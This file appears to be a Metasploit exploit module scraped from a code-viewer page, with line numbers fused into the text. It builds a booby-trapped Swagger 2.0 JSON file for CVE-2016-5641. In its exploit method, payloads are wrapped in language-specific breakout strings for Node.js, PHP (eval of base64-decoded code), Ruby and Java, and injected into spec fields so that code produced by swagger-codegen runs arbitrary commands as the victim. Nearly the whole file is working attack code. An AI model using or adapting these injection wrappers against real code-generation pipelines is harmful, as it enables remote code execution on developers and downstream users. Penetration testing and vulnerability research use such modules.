Path: blob/master/modules/exploits/multi/fileformat/swagger_param_inject.rb
19566 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45#6# Gems7#8require 'base64'910#11# Project12#1314class MetasploitModule < Msf::Exploit::Remote15Rank = ExcellentRanking1617include Msf::Exploit::FILEFORMAT1819def initialize(info = {})20super(21update_info(22info,23'Name' => 'JSON Swagger CodeGen Parameter Injector',24'Description' => %q{25This module generates an Open API Specification 2.0 (Swagger) compliant26json document that includes payload insertion points in parameters.2728In order for the payload to be executed, an attacker must convince29someone to generate code from a specially modified swagger.json file30within a vulnerable swagger-codgen appliance/container/api/service,31and then to execute that generated code (or include it into software32which will later be executed by another victim). By doing so, an33attacker can execute arbitrary code as the victim user. The same34vulnerability exists in the YAML format.35},36'License' => MSF_LICENSE,37'Author' => [38'ethersnowman <[email protected]>'39],40'References' => [41[ 'CVE', '2016-5641' ],42[ 'URL', 'http://github.com/swagger-api/swagger-codegen' ],43[ 'URL', 'https://www.rapid7.com/blog/post/2016/06/23/r7-2016-06-remote-code-execution-via-swagger-parameter-injection-cve-2016-5641' ]44],45'Platform' => %w{nodejs php java ruby},46'Arch' => [ ARCH_NODEJS, ARCH_PHP, ARCH_JAVA, ARCH_RUBY ],47'Targets' => [48['NodeJS', { 'Platform' => 'nodejs', 'Arch' => ARCH_NODEJS } ],49['PHP', { 'Platform' => 'php', 'Arch' => ARCH_PHP } ],50['Java JSP', { 'Platform' => 'unix', 'Arch' => ARCH_JAVA } ],51['Ruby', { 'Platform' => 'ruby', 'Arch' => ARCH_RUBY } ]52],53'DisclosureDate' => '2016-06-23',54'DefaultTarget' => 0,55'Notes' => {56'Reliability' => UNKNOWN_RELIABILITY,57'Stability' => UNKNOWN_STABILITY,58'SideEffects' => UNKNOWN_SIDE_EFFECTS59}60)61)6263register_options(64[65OptString.new('FILENAME', [false, 'The file to write.', 'msf-swagger.json']),66OptString.new('INFO_DESCRIPTION', [true, 'Swagger info description', 'A']),67OptString.new('INFO_VERSION', [true, 'Swagger info version.', '1.0.0']),68OptString.new('INFO_TITLE', [true, 'Swagger info title.', 'C']),69OptEnum.new('SWAGGER_SCHEME', [true, 'Protocol scheme', 'http', ['http', 'https', 'ws', 'wss']]),70OptString.new('SWAGGER_HOST', [true, 'a valid hostname or IPv4']),71OptString.new('BASE_PATH', [true, 'The root path of API on host.', '/']),72OptString.new('PATH', [true, 'Path of request/response on root path.', '/a']),73OptString.new('PATH_DESCRIPTION', [true, 'Description of a path request object', 'D']),74OptString.new('PATH_RESPONSE_DESCRIPTION', [true, 'Description of a path response object', 'E']),75OptString.new('DEFINITION_DESCRIPTION', [true, 'Description of an object definition.', 'F'])76]77)78end7980def swagger81%Q(82{83"swagger": "2.0",84"info": {85"description": "#{datastore['INFO_DESCRIPTION']}",86"version": "#{datastore['INFO_VERSION']}",87"title": "#{datastore['INFO_TITLE']}"88},89"schemes": [90"#{datastore['SWAGGER_SCHEME']}"91],92"host": "#{datastore['SWAGGER_HOST']}",93"basePath": "#{datastore['BASE_PATH']}",94"produces": [95"application/json"96],97"consumes": [98"application/json"99],100"paths": {101"#{datastore['PATH']}": {102"get": {103"description": "#{datastore['PATH_DESCRIPTION']}",104"responses": {105"200": {106"description": "#{datastore['PATH_RESPONSE_DESCRIPTION']}",107"schema": {108"$ref": "#/definitions/d"109}110}111}112}113}114},115"definitions": {116"d": {117"type": "object",118"description": "#{datastore['DEFINITION_DESCRIPTION']}",119"properties": {120"id": {121"type": "integer",122"format": "int64"123}124}125}126}127}128)129end130131def exploit132case payload.arch[0]133when 'nodejs'134payload_loc = 'PATH'135payload_prefix = "/a');};};return exports;}));"136payload_suffix = "(function(){}(this,function(){a=function(){b=function(){new Array('"137wrapped_payload = payload_prefix + payload.encoded.gsub(/"/, '\\"') + payload_suffix138when 'php'139payload_loc = 'INFO_DESCRIPTION'140payload_prefix = "*/ namespace foobar; eval(base64_decode('"141payload_suffix = "')); /*"142wrapped_payload = payload_prefix +143Base64.strict_encode64(payload.encoded) +144payload_suffix145when 'ruby'146payload_loc = 'INFO_TITLE'147payload_prefix = "=end "148payload_suffix = "=begin "149wrapped_payload = payload_prefix + payload.encoded + payload_suffix150when 'java'151payload_loc = 'PATH'152payload_prefix = %q{a\\\"; "}153p = payload.encoded.gsub(/<%@page import="/, 'import ')154p = p.gsub(/\"%>/, ';').gsub(/<%/, '').gsub(/%>/, '')155p = p.gsub(/"/, '\\"').gsub(/\n/, ' ')156wrapped_payload = payload_prefix + p157else158raise IncompatiblePayloadError.new(datastore['PAYLOAD'])159end160161datastore[payload_loc] = wrapped_payload162163print_status swagger164file_create swagger165end166end167168169